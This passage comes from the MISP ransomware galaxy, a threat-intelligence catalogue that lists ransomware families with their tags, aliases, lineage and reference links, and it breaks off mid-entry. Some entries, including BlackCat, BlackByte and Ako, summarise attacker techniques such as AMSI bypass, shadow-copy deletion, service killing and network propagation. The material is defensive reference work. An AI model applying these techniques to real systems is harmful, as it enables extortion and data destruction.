The tag is: misp-galaxy:ransomware="WinWord64"
ThunderX

ransomware

The tag is: misp-galaxy:ransomware="ThunderX"

Mountlocket

ransomware

The tag is: misp-galaxy:ransomware="Mountlocket"

View relationships graph

Mountlocket has relationships with:

- similar: misp-galaxy:ransomware="QuantumLocker" with estimative-language:likelihood-probability="likely"

Table 7944. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://howtofix.guide/ransom-mountlocket/">https://howtofix.guide/ransom-mountlocket/</a></td>
</tr>
</tbody>
</table>

Gladius

ransomware

The tag is: misp-galaxy:ransomware="Gladius"

Cyrat

ransomware

The tag is: misp-galaxy:ransomware="Cyrat"

Crypt32

ransomware

The tag is: misp-galaxy:ransomware="Crypt32"

BizHack

ransomware

The tag is: misp-galaxy:ransomware="BizHack"
**Geneve**

ransomware

The tag is: `misp-galaxy:ransomware="Geneve"`

**Z3**

ransomware

The tag is: `misp-galaxy:ransomware="Z3"`

**Leakthemall**

ransomware

The tag is: `misp-galaxy:ransomware="Leakthemall"`

**Conti**

Conti ransomware is a RaaS and has been observed encrypting networks since mid-2020. Conti was developed by the “TrickBot” group, an organized Russian cybercriminal operation. Their reputation has allowed the group to create a strong brand name, attracting many affiliates which has made Conti one of the most widespread ransomware strains in the world. One of the last known “Conti” attacks was against the government of Costa Rica in April 2022 causing the country to declare a state of emergency. Shortly after this final attack, the “Conti” brand disappeared. The group behind it likely switched to a different brand to avoid sanctions and start over with a new, clean reputation.

The tag is: `misp-galaxy:ransomware="Conti"`

**View relationships graph**

Conti has relationships with:

- parent-of: `misp-galaxy:ransomware="QuantumLocker"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:ransomware="BlackBasta"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:ransomware="BlackByte"` with `estimative-language:likelihood-probability="likely"`

*Table 7945. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Makop
ransomware
The tag is: misp-galaxy:ransomware="Makop"

Best Crypt
ransomware
The tag is: misp-galaxy:ransomware="Best Crypt"

Consciousness
ransomware
The tag is: misp-galaxy:ransomware="Consciousness"

Flamingo
ransomware
The tag is: misp-galaxy:ransomware="Flamingo"

PewPew
ransomware
The tag is: misp-galaxy:ransomware="PewPew"

DogeCrypt
ransomware
The tag is: misp-galaxy:ransomware="DogeCrypt"

Badbeeteam
ransomware
The tag is: misp-galaxy:ransomware="Badbeeteam"
Solve
ransomware
The tag is: misp-galaxy:ransomware="Solve"

RenameX12
ransomware
The tag is: misp-galaxy:ransomware="RenameX12"

Zhen
ransomware
The tag is: misp-galaxy:ransomware="Zhen"

Datacloud
ransomware
The tag is: misp-galaxy:ransomware="Datacloud"

Ironcat
ransomware
The tag is: misp-galaxy:ransomware="Ironcat"

Dusk
ransomware
The tag is: misp-galaxy:ransomware="Dusk"

Cutekitty
ransomware
The tag is: misp-galaxy:ransomware="Cutekitty"

Babax
ransomware
The tag is: misp-galaxy:ransomware="Babax"
Eyecry

ransomware

The tag is: misp-galaxy:ransomware="Eyecry"

Osno

ransomware

The tag is: misp-galaxy:ransomware="Osno"

Loki

ransomware

The tag is: misp-galaxy:ransomware="Loki"

WoodRat

ransomware

The tag is: misp-galaxy:ransomware="WoodRat"

Curator

ransomware

The tag is: misp-galaxy:ransomware="Curator"

32aa

ransomware

The tag is: misp-galaxy:ransomware="32aa"

Vaggen

ransomware

The tag is: misp-galaxy:ransomware="Vaggen"

Clay

ransomware

The tag is: misp-galaxy:ransomware="Clay"
Pizhon
ransomware
The tag is: misp-galaxy:ransomware="Pizhon"

InstallPay
ransomware
The tag is: misp-galaxy:ransomware="InstallPay"

MetadataBin
ransomware
The tag is: misp-galaxy:ransomware="MetadataBin"

TechandStrat
ransomware
The tag is: misp-galaxy:ransomware="TechandStrat"

Mars
ransomware
The tag is: misp-galaxy:ransomware="Mars"

Scatterbrain
ransomware
The tag is: misp-galaxy:ransomware="Scatterbrain"

CCECrypt
ransomware
The tag is: misp-galaxy:ransomware="CCECrypt"

SZ40
ransomware
The tag is: misp-galaxy:ransomware="SZ40"
Pay2Key
ransomware
The tag is: misp-galaxy:ransomware="Pay2Key"

Tripoli
ransomware
The tag is: misp-galaxy:ransomware="Tripoli"

Devos
ransomware
The tag is: misp-galaxy:ransomware="Devos"

HowAreYou
ransomware
The tag is: misp-galaxy:ransomware="HowAreYou"

SifreCikis
ransomware
The tag is: misp-galaxy:ransomware="SifreCikis"

68-Random-HEX
ransomware
The tag is: misp-galaxy:ransomware="68-Random-HEX"

RedRoman
ransomware
The tag is: misp-galaxy:ransomware="RedRoman"

MXX
ransomware
The tag is: misp-galaxy:ransomware="MXX"
Exerwa CTF

ransomware

The tag is: *misp-galaxy:ransomware=Exerwa CTF*

HelloKitty

ransomware

The tag is: *misp-galaxy:ransomware=HelloKitty*

HelloKitty is also known as:

• FiveHands

HolidayCheer

ransomware

The tag is: *misp-galaxy:ransomware=HolidayCheer*

Joker Korean

ransomware

The tag is: *misp-galaxy:ransomware=Joker Korean*

VenomRAT

ransomware

The tag is: *misp-galaxy:ransomware=VenomRAT*

FileEngineering

ransomware

The tag is: *misp-galaxy:ransomware=FileEngineering*

LandSlide

ransomware

The tag is: *misp-galaxy:ransomware=LandSlide*
Mobef-JustFun

ransomware

The tag is: misp-galaxy:ransomware="Mobef-JustFun"

View relationships graph

Mobef-JustFun has relationships with:

• similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

Amjixius

ransomware

The tag is: misp-galaxy:ransomware="Amjixius"

Amjixius is also known as:

• Ancrypted

Table 7946. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malware-guide.com/blog/remove-amjixius-ransomware-restore-encrypted-files">https://malware-guide.com/blog/remove-amjixius-ransomware-restore-encrypted-files</a></td>
</tr>
</tbody>
</table>

DearCry

ransomware

The tag is: misp-galaxy:ransomware="DearCry"

JoJoCrypter

ransomware

The tag is: misp-galaxy:ransomware="JoJoCrypter"

RunExeMemory

ransomware

The tag is: misp-galaxy:ransomware="RunExeMemory"
Pay2Decrypt

ransomware

The tag is: misp-galaxy:ransomware="Pay2Decrypt"

Tortoise

ransomware

The tag is: misp-galaxy:ransomware="Tortoise"

EPICALLY

ransomware

The tag is: misp-galaxy:ransomware="EPICALLY"

Random30

ransomware

The tag is: misp-galaxy:ransomware="Random30"

Hog

ransomware

The tag is: misp-galaxy:ransomware="Hog"

Steel

ransomware

The tag is: misp-galaxy:ransomware="Steel"

JohnBorn

ransomware

The tag is: misp-galaxy:ransomware="JohnBorn"

Egalty

ransomware

The tag is: misp-galaxy:ransomware="Egalty"
Namaste
ransomware

The tag is: misp-galaxy:ransomware="Namaste"

HDLocker
ransomware

The tag is: misp-galaxy:ransomware="HDLocker"

Epsilon
ransomware

The tag is: misp-galaxy:ransomware="Epsilon"

DeroHE
ransomware

The tag is: misp-galaxy:ransomware="DeroHE"

Vovalex
ransomware

The tag is: misp-galaxy:ransomware="Vovalex"

Bonsoir
ransomware

The tag is: misp-galaxy:ransomware="Bonsoir"

PulpFictionQuote
ransomware

The tag is: misp-galaxy:ransomware="PulpFictionQuote"

NAS Data Compromiser
ransomware

The tag is: misp-galaxy:ransomware="NAS Data Compromiser"
CNH

ransomware

The tag is: misp-galaxy:ransomware="CNH"

Lucy

ransomware

The tag is: misp-galaxy:ransomware="Lucy"

OCT

ransomware

The tag is: misp-galaxy:ransomware="OCT"

OCT is also known as:

• OctEncrypt

Pump

ransomware

The tag is: misp-galaxy:ransomware="Pump"

LuciferCrypt

ransomware

The tag is: misp-galaxy:ransomware="LuciferCrypt"

Ziggy

ransomware

The tag is: misp-galaxy:ransomware="Ziggy"

CoderCrypt

ransomware

The tag is: misp-galaxy:ransomware="CoderCrypt"
BlueEagle

ransomware

The tag is: misp-galaxy:ransomware="BlueEagle"

Povisomware

ransomware

The tag is: misp-galaxy:ransomware="Povisomware"

JCrypt

Ransomware written in C#. Fortunately, all current versions of the MafiaWare666 ransomware are decryptable. The Threat Lab from Avast has developed a free decryption tool for this malware.

The tag is: misp-galaxy:ransomware="JCrypt"

JCrypt is also known as:

- RIP lmao
- Locked
- Daddycrypt
- Omero
- Crypted
- Ncovid
- NotStonks
- Iam_watching
- Vn_os
- Wearefriends
- MALWAREDEVELOPER
- MALKI
- Poison
- Foxxy
- Mafiaware666

Table 7947. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/12/jcrypt-ransomware.html">https://id-ransomware.blogspot.com/2020/12/jcrypt-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/kangxiaopao/status/1342027328063295488?lang=en">https://twitter.com/kangxiaopao/status/1342027328063295488?lang=en</a></td>
</tr>
</tbody>
</table>
Uh-Oh

ransomware

The tag is: *misp-galaxy:ransomware*="Uh-Oh"

Mijnal

ransomware

The tag is: *misp-galaxy:ransomware*="Mijnal"

16x

The tag is: *misp-galaxy:ransomware*="16x"

Lockedv1

ransomware

The tag is: *misp-galaxy:ransomware*="Lockedv1"

XD Locker

ransomware

The tag is: *misp-galaxy:ransomware*="XD Locker"

Knot

ransomware

The tag is: *misp-galaxy:ransomware*="Knot"

Parasite

ransomware

The tag is: *misp-galaxy:ransomware*="Parasite"
Judge

ransomware

The tag is: misp-galaxy:ransomware="Judge"

DEcovid19

ransomware

The tag is: misp-galaxy:ransomware="DEcovid19"

Ragnarok

Ragnarok is is a ransomware that targets corporate networks in Big Game Hunting targeted attacks. The ransomware is associated with 'double-extortion' tactic, stealing and publishing files on a data leak site (DLS).

The tag is: misp-galaxy:ransomware="Ragnarok"

Table 7948. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok
https://borncity.com/win/2021/03/27/tu-darmstadt-opfer-der-ragnarok-ransomware/

WhisperGate

Destructive malware deployed against targets in Ukraine in January 2022.

The tag is: misp-galaxy:ransomware="WhisperGate"

Table 7949. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate
https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/

BlackCat

BlackCat (ALPHV) is ransomware written in Rust. The ransomware makes heavy use of plaintext JSON configuration files to specify the ransomware functionality. BlackCat has many advanced capabilities like escalating privileges and bypassing UAC make use of AES and ChaCha20 or Salsa
encryption, may use the Restart Manager, can delete volume shadow copies, can enumerate disk volumes and network shares automatically, and may kill specific processes and services. The ransomware exists for both Windows, Linux, and ESXi systems. Multiple extortion techniques are used by the BlackCat gang, such as exfiltrating victim data before the ransomware deployment, threats to release data if the ransom is not paid, and distributed denial-of-service (DDoS) attacks.

The tag is: misp-galaxy:ransomware="BlackCat"

BlackCat is also known as:

- ALPHV
- Noberus

**View relationships graph**

BlackCat has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

Table 7950. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat</a></td>
</tr>
<tr>
<td><a href="https://1-id%E2%80%94ransomware-blogspot-com.translate.goog/2021/12/blackcat-ransomware.html?_x_tr_enc=1&amp;_x_tr_sl=ru&amp;_x_tr_tl=en&amp;_x_tr_hl=ru">https://1-id—ransomware-blogspot-com.translate.goog/2021/12/blackcat-ransomware.html?_x_tr_enc=1&amp;_x_tr_sl=ru&amp;_x_tr_tl=en&amp;_x_tr_hl=ru</a></td>
</tr>
<tr>
<td><a href="https://github.com/f0wl/blackCatConf">https://github.com/f0wl/blackCatConf</a></td>
</tr>
<tr>
<td><a href="https://www.varonis.com/blog/alphv-blackcat-ransomware">https://www.varonis.com/blog/alphv-blackcat-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/alphv-ransomware-gang-analysis">https://www.intrinsec.com/alphv-ransomware-gang-analysis</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/blackcat-ransomware/">https://unit42.paloaltonetworks.com/blackcat-ransomware/</a></td>
</tr>
</tbody>
</table>
Mount Locker

Ransomware

The tag is: misp-galaxy:ransomware="Mount Locker"

Mount Locker is also known as:

- Mount-Locker

Table 7951. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cyclonis.com/mount-locker-ransomware-more-dangerous">https://www.cyclonis.com/mount-locker-ransomware-more-dangerous</a></td>
</tr>
</tbody>
</table>

Astro Locker

Ransomware

The tag is: misp-galaxy:ransomware="Astro Locker"

Table 7952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threatpost.com/mount-locker-ransomware-changes-tactics/165559/">https://threatpost.com/mount-locker-ransomware-changes-tactics/165559/</a></td>
</tr>
</tbody>
</table>

Pandora

Ransomware

The tag is: misp-galaxy:ransomware="Pandora"

Table 7953. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1501857263493001217">https://twitter.com/malwrhunterteam/status/1501857263493001217</a></td>
</tr>
<tr>
<td><a href="https://dissectingmalwa.re/blog/pandora">https://dissectingmalwa.re/blog/pandora</a></td>
</tr>
</tbody>
</table>

Rook

Ransomware

The tag is: misp-galaxy:ransomware="Rook"

Table 7954. Table References
HelloXD

HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021. During our research we observed multiple variants impacting Windows and Linux systems. Unlike other ransomware groups, this ransomware family doesn't have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.

The tag is: misp-galaxy:ransomware="HelloXD"

Maui ransomware

Maui ransomware stand out because of a lack of several key features commonly seen with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, it is believed that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context.

The tag is: misp-galaxy:ransomware="Maui ransomware"

Lorenz Ransomware

Lorenz is a ransomware group that has been active since at least February 2021 and like many ransomware groups, performs double-extortion by exfiltrating data before encrypting systems.

The tag is: misp-galaxy:ransomware="Lorenz Ransomware"
**Hive**

First observed in June 2021, Hive ransomware was originally written in GoLang but recently, new Hive variants have been seen written in Rust. Targets Healthcare sector.

The tag is: `misp-galaxy:ransomware="Hive"`

**Table 7958. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hive">https://malpedia.caad.fkie.fraunhofer.de/details/win.hive</a></td>
</tr>
<tr>
<td><a href="https://www.varonis.com/blog/hive-ransomware-analysis">https://www.varonis.com/blog/hive-ransomware-analysis</a></td>
</tr>
</tbody>
</table>

**QuantumLocker**

The tag is: `misp-galaxy:ransomware="QuantumLocker"`

QuantumLocker is also known as:

- Quantum
- Mount Locker
- DagonLocker

**View relationships graph**

QuantumLocker has relationships with:

- similar: `misp-galaxy:ransomware="Mountlocket"` with `estimative-language:likelihood-probability="likely"`
- successor-of: `misp-galaxy:ransomware="Conti"` with `estimative-language:likelihood-probability="likely"`

**Table 7959. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
BlackBasta

Black Basta is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.

The tag is: `misp-galaxy:ransomware="BlackBasta"`

View relationships graph

BlackBasta has relationships with:

- successor-of: misp-galaxy:ransomware="Conti" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:botnet="Qbot" with estimative-language:likelihood-probability="likely"
BlackByte

BlackByte is recently discovered Ransomware with a .NET DLL core payload wrapped in JavaScript. It employs heavy obfuscation both in its JavaScript wrapper and .NET DLL core.

Once the JavaScript wrapper is executed, the malware will de-obfuscate the core payload and execute it in memory. The core .DLL is loaded and BlackByte will check the installed operating system language and terminate if an eastern European language is found.

It will proceed to check for the presence of several anti-virus and sandbox-related .DLLs, attempt to bypass AMSI, delete system shadow-copies in order to hinder system recovery, and modify several other system services (including Windows Firewall) in order to “prep” the system for encryption. Once the system is “ready” for encryption, it will download a symmetric key-file which will be used to encrypt files on the system. If this file is not found, the malware will terminate.

Unlike most Ransomware today, BlackByte uses a single symmetric encryption key, and does not
generate a unique encryption key for each victim system, meaning the same key can be used to decrypt all files encrypted by the malware.

This makes for substantially easier key-management for the actors behind BlackByte at the cost of a weaker encryption scheme and easier victim system recovery (as there is only a single online point with a single key to maintain).

As with most Ransomware today, BlackByte has worming capabilities and can infect additional endpoints on the same network.

The tag is: misp-galaxy:ransomware="BlackByte"

View relationships graph

BlackByte has relationships with:

- successor-of: misp-galaxy:ransomware="Conti" with estimative-language:likelihood-probability="likely"

Table 7961. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape">https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/blackbyte-ransomware/">https://redcanary.com/blog/blackbyte-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/the-blackbyte-ransomware-group-is/">https://blog.talosintelligence.com/the-blackbyte-ransomware-group-is/</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape">https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/modern-ransomware-groups-ttps/106824/">https://securelist.com/modern-ransomware-groups-ttps/106824/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/">https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/</a></td>
</tr>
</tbody>
</table>
RedAlert

Ransomware

The tag is: misp-galaxy:ransomware="RedAlert"

Cheerscrypt

Ransomware

The tag is: misp-galaxy:ransomware="Cheerscrypt"

GwisinLocker

Ransomware

The tag is: misp-galaxy:ransomware="GwisinLocker"

Luna Ransomware

Ransomware

The tag is: misp-galaxy:ransomware="Luna Ransomware"

AvosLocker

In March 2022, the FBI and the U.S. Treasury Financial Crimes Enforcement Network released a joint advisory addressing AvosLocker and their activity targeting organizations across several critical infrastructure sectors. The RaaS gang deploys ransomware onto their victim's networks and systems, then threatens to leak their files on the dark web if they don't pay up. AvosLocker is both the name of the RaaS gang, as well as the name of the ransomware itself.

In May 2022, AvosLocker took responsibility for attacking and stealing data from the Texas-based healthcare organization, CHRISTUS Health. CHRISTUS Health runs hundreds of healthcare facilities across Mexico, the U.S., and South America. The group stole information from a cancer patient registry which included names, social security numbers, diagnoses, dates of birth, and other medical information. The nonprofit Catholic health system has more than 600 healthcare facilities in Texas, Louisiana, New Mexico, and Arkansas. There are also facilities in Columbia, Mexico, and Chile.

Fortunately, the ransomware attack was quickly identified and was limited. While other healthcare organizations have not been as fortunate with ransomware attacks, the AvosLocker attack didn't impact CHRISTUS Health's patient care or clinical operations. CHRISTUS Health didn't reveal whether or not the security incident included ransomware, data exfiltration or extortion, but due to AvosLocker's reputation, it is more than likely that the incident included at least one of the three.

The tag is: misp-galaxy:ransomware="AvosLocker"
AvosLocker is also known as:

- Avos

**Table 7962. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.vertime.com/resources/threat-reports/in-depth-look-at-avoslocker-ransomware">https://www.vertime.com/resources/threat-reports/in-depth-look-at-avoslocker-ransomware</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/avoslocker-ransomware/">https://unit42.paloaltonetworks.com/atoms/avoslocker-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.picasussecurity.com/resource/avos-locker-ransomware-group">https://www.picasussecurity.com/resource/avos-locker-ransomware-group</a></td>
</tr>
<tr>
<td><a href="https://branddefense.io/blog/ransomware/in-depth-analysis-of-avoslocker-ransomware/">https://branddefense.io/blog/ransomware/in-depth-analysis-of-avoslocker-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/avoslocker-new-arsenal/">https://blog.talosintelligence.com/avoslocker-new-arsenal/</a></td>
</tr>
<tr>
<td><a href="https://www.triprepublic.com/article/avos-ransomware-updates-attack/">https://www.triprepublic.com/article/avos-ransomware-updates-attack/</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker">https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker</a></td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux">https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux</a></td>
</tr>
<tr>
<td><a href="https://blog.lexfo.fr/Avoslocker.html">https://blog.lexfo.fr/Avoslocker.html</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/">https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners">https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emerging-ransomware-groups/">https://unit42.paloaltonetworks.com/emerging-ransomware-groups/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
</tbody>
</table>
0Mega

0mega, a new ransomware operation, has been observed targeting organizations around the world. The ransomware operators are launching double-extortion attacks and demanding millions of dollars as ransom.

0mega ransomware operation launched in May and has already claimed multiple victims. 0mega maintains a dedicated data leak site that the attackers use to post stolen data if the demanded ransom is not paid. The leak site currently hosts 152 GB of data stolen from an electronics repair firm in an attack that happened in May. However, an additional victim has since been removed, implying that they might have paid the ransom to the 0mega group.

How does it work? Hackers add the .0mega extension to the encrypted file's names and create
ransom notes (DECRYPT-FILES[.]txt). The ransom note has a link to a Tor payment negotiation site with a support chat to reach out to the ransomware group. To log in to this site, the victims are asked to upload their ransom notes with a unique Base64-encoded blob identity.

The tag is: *misp-galaxy:ransomware="0Mega"*

### Table 7963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

### Abraham’s Ax

Abraham’s Ax announced their existence and mission through social media channels such as Twitter posts on November 8, 2022. Abraham’s Ax use a WordPress blog as the basis for their leak sites. Abraham’s Ax site is available in Hebrew, Farsi, and English. The site also provides versions available via Tor websites, although it appeared to be under construction at the time of analysis.

Used domain is registered with EgenSajt.se

The tag is: *misp-galaxy:ransomware="Abraham’s Ax"*

Abraham’s Ax is also known as:

- Abrahams_Ax

### Table 7964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff">https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff</a></td>
</tr>
</tbody>
</table>

---

### aGl0bGVyCg

Ransomware

The tag is: *misp-galaxy:ransomware="aGl0bGVyCg"*

View relationships graph

aGl0bGVyCg has relationships with:

- similar: misp-galaxy:ransomware="Hitler" with estimative-language:likelihood-probability="unlikely"

### Table 7965. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="5354">5354</a></td>
</tr>
</tbody>
</table>
Ako

Once installed, Ako will attempt to delete Volume Shadow Copies and disable recovery services. It will then begin to encrypt all files that do not match a hard-coded list using an unknown algorithm. Whilst this is happening, Ako will scan the affected network for any connected devices or drives for it to propagate to.

The tag is: `misp-galaxy:ransomware="Ako"`

Ako is also known as:

- MedusaReborn

Table 7966. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Arvinclub

Arvin Club is a popular Ransomware group with a widespread Telegram presence, which includes personal group chats, and official channels. The group recently launched their official TOR/Onion website to update their status and release details of their latest attacks and data breaches. Their latest target is Kendriya Vidyala, a chain of Schools in India. The group has exposed the Personally Identifiable Information (PII) of some students.

The tag is: `misp-galaxy:ransomware="Arvinclub"`

Arvinclub is also known as:

- Arvin Club
Atomsilo

AtomSilo is a new Ransomware recently seen in September 2021 during one of their attacks by exploiting a recently revealed vulnerability (CVE-2021-26084) in Atlassian's Confluence Collaboration Software for initial access. The Ransomware used the double extortion method which is gaining popularity among ransomware threat actors where they first, exfiltrate the confidential information and as a second step encrypt the system files.

The tag is: misp-galaxy:ransomware="Atomsilo"

Table 7967. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cyfirma.com/outofband/malware-research-on-atomsilo-ransomware/">https://www.cyfirma.com/outofband/malware-research-on-atomsilo-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/siri_urz/status/1437664046556274694">https://twitter.com/siri_urz/status/1437664046556274694</a></td>
</tr>
<tr>
<td><a href="https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/">https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/">https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader">https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo">https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo</a></td>
</tr>
</tbody>
</table>

Avaddon

Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.

The tag is: misp-galaxy:ransomware="Avaddon"

Table 7968. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://heimdalsecurity.com/blog/avaddon-ransomware/">https://heimdalsecurity.com/blog/avaddon-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis">https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis</a></td>
</tr>
</tbody>
</table>
### Avos

The tag is: `misp-galaxy:ransomware="Avos"`

**View relationships graph**

Avos has relationships with:

